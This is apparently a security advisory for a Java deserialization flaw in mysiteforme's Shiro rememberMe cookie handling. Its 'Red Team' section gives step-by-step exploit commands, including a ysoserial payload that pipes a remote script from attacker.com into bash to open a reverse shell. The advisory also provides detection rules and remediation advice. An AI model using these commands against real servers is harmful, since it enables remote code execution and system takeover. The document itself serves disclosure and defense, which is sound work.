CVE-2024-13136

Executive Summary

CVE-2024-13136 is a critical deserialization vulnerability in wangl1989 mysiteforme version 1.0. The flaw resides in the rememberMeManager function within src/main/java/com/mysiteforme/admin/config/ShiroConfig.java. An attacker can exploit this remotely to trigger unsafe deserialization, potentially leading to remote code execution (RCE), data exfiltration, or full system compromise. The vulnerability has been publicly disclosed with proof-of-concept (PoC) code, increasing the risk of active exploitation. No official patch is currently available.

Supply Chain & Package Security

This vulnerability affects a Java-based web application (mysiteforme) and is not related to NPM, PyPI, Go, or Ruby packages. The risk is primarily to the application itself and its underlying infrastructure.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) but estimated critical based on public PoC and impact.
• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – vulnerability does not affect other components.
• Confidentiality (C): High (H) – full data access possible.
• Integrity (I): High (H) – full system modification possible.
• Availability (A): High (H) – potential denial of service or system takeover.
• Threat Level: Critical – public exploit available, no patch.

Deep Dive & Mechanics

The vulnerability is in Apache Shiro's rememberMe functionality, which uses Java deserialization to store user session data in cookies. The rememberMeManager in ShiroConfig.java does not properly validate or sanitize serialized objects before deserialization. An attacker can craft a malicious serialized Java object (e.g., using ysoserial) and send it as a rememberMe cookie. When the server deserializes this object, it can execute arbitrary code, leading to full compromise.

Key Code Location:

• File: src/main/java/com/mysiteforme/admin/config/ShiroConfig.java
• Function: rememberMeManager

Attack Flow:

1. Attacker identifies a mysiteforme instance.
2. Attacker crafts a malicious serialized object (e.g., CommonsCollections gadget chain).
3. Attacker sends an HTTP request with the malicious rememberMe cookie.
4. Server deserializes the cookie without validation.
5. Malicious code executes, granting attacker control.

Vulnerable vs. Patched Code

Vulnerable Code (mysiteforme 1.0):

// ShiroConfig.java (vulnerable)
@Bean
public RememberMeManager rememberMeManager() {
    CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
    // No cipher key or validation set
    return cookieRememberMeManager;
}

Patched Code (hypothetical fix):

// ShiroConfig.java (patched)
@Bean
public RememberMeManager rememberMeManager() {
    CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
    // Set a strong cipher key
    cookieRememberMeManager.setCipherKey(Base64.decode("base64EncodedKeyHere"));
    // Enable encryption and signing
    cookieRememberMeManager.setEncryptionCipherKey(...);
    cookieRememberMeManager.setDecryptionCipherKey(...);
    return cookieRememberMeManager;
}

Key Differences:

• Vulnerable: No cipher key set, allowing arbitrary deserialization.
• Patched: Strong cipher key and encryption/decryption keys prevent tampering.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Java Runtime Environment (JRE) on attacker machine.
• ysoserial tool (https://github.com/frohoff/ysoserial).
• Target mysiteforme instance (e.g., http://target.com).

Exploit Steps:

1. Generate malicious payload:

   java -jar ysoserial.jar CommonsCollections2 'curl http://attacker.com/revshell.sh | bash' > payload.ser
   

2. Base64 encode the payload:

   base64 -w0 payload.ser > payload.b64
   

3. Send HTTP request with malicious cookie:

   curl -v -b "rememberMe=$(cat payload.b64)" http://target.com/login
   

4. If successful, attacker receives reverse shell or command execution.

Alternative Exploit (Python):

import requests
import base64

# Generate payload using ysoserial or similar
payload = base64.b64encode(open('payload.ser', 'rb').read()).decode()
cookies = {'rememberMe': payload}
r = requests.get('http://target.com/login', cookies=cookies)
print(r.text)

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual rememberMe cookie values (non-standard base64 length or content).
2. Check logs for deserialization exceptions (e.g., java.io.InvalidClassException).
3. Use network monitoring to detect outbound connections from the application server.

Lab Setup:

• Deploy mysiteforme 1.0 in a sandboxed environment (e.g., Docker).
• Use Wireshark to capture exploit traffic.
• Test detection rules (see Detection Engineering).

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests with abnormally long rememberMe cookies.
  • Outbound connections to known malicious IPs or domains.
• File System:
  • Unexpected files in /tmp or application directories.
  • Modified or new JAR files.
• Process:
  • Unusual Java processes (e.g., java -jar with suspicious arguments).
  • Reverse shell processes (e.g., /bin/bash -i).
• Logs:
  • Deserialization errors in application logs (e.g., java.io.StreamCorruptedException).
  • Repeated login attempts with invalid cookies.

Detection Engineering

YARA Rule

rule CVE_2024_13136_Deserialization {
    meta:
        description = "Detects malicious serialized Java objects in rememberMe cookies"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13136"
    strings:
        $java_serial = { AC ED 00 05 }  // Java serialization magic bytes
        $ysoserial_gadget = /CommonsCollections|CommonsBeanutils|Jdk7u21/
    condition:
        $java_serial at 0 and any of ($ysoserial_gadget)
}

Sigma Rule

title: CVE-2024-13136 - Apache Shiro Deserialization Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with suspicious rememberMe cookies indicating deserialization attack
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/login'
        cs-cookie|contains: 'rememberMe'
        cs-cookie|length: > 500
    condition: selection
falsepositives:
    - Legitimate large cookies (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13136 - Apache Shiro Deserialization Attempt"; flow:to_server; http.cookie; content:"rememberMe"; distance:0; pcre:"/rememberMe=[A-Za-z0-9+/]{500,}/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the internet.
2. Disable rememberMe functionality if not required.
3. Apply a Web Application Firewall (WAF) rule to block oversized cookies.
4. Monitor logs for exploitation attempts.

Long-term Fix:

• Upgrade to a patched version of mysiteforme (if available).
• Implement custom deserialization filters (e.g., using ObjectInputFilter).
• Use a strong cipher key for CookieRememberMeManager.

Workaround:

• Modify ShiroConfig.java to set a secure cipher key (see patched code example).
• Restrict access to the application via VPN or IP whitelisting.

Valters IT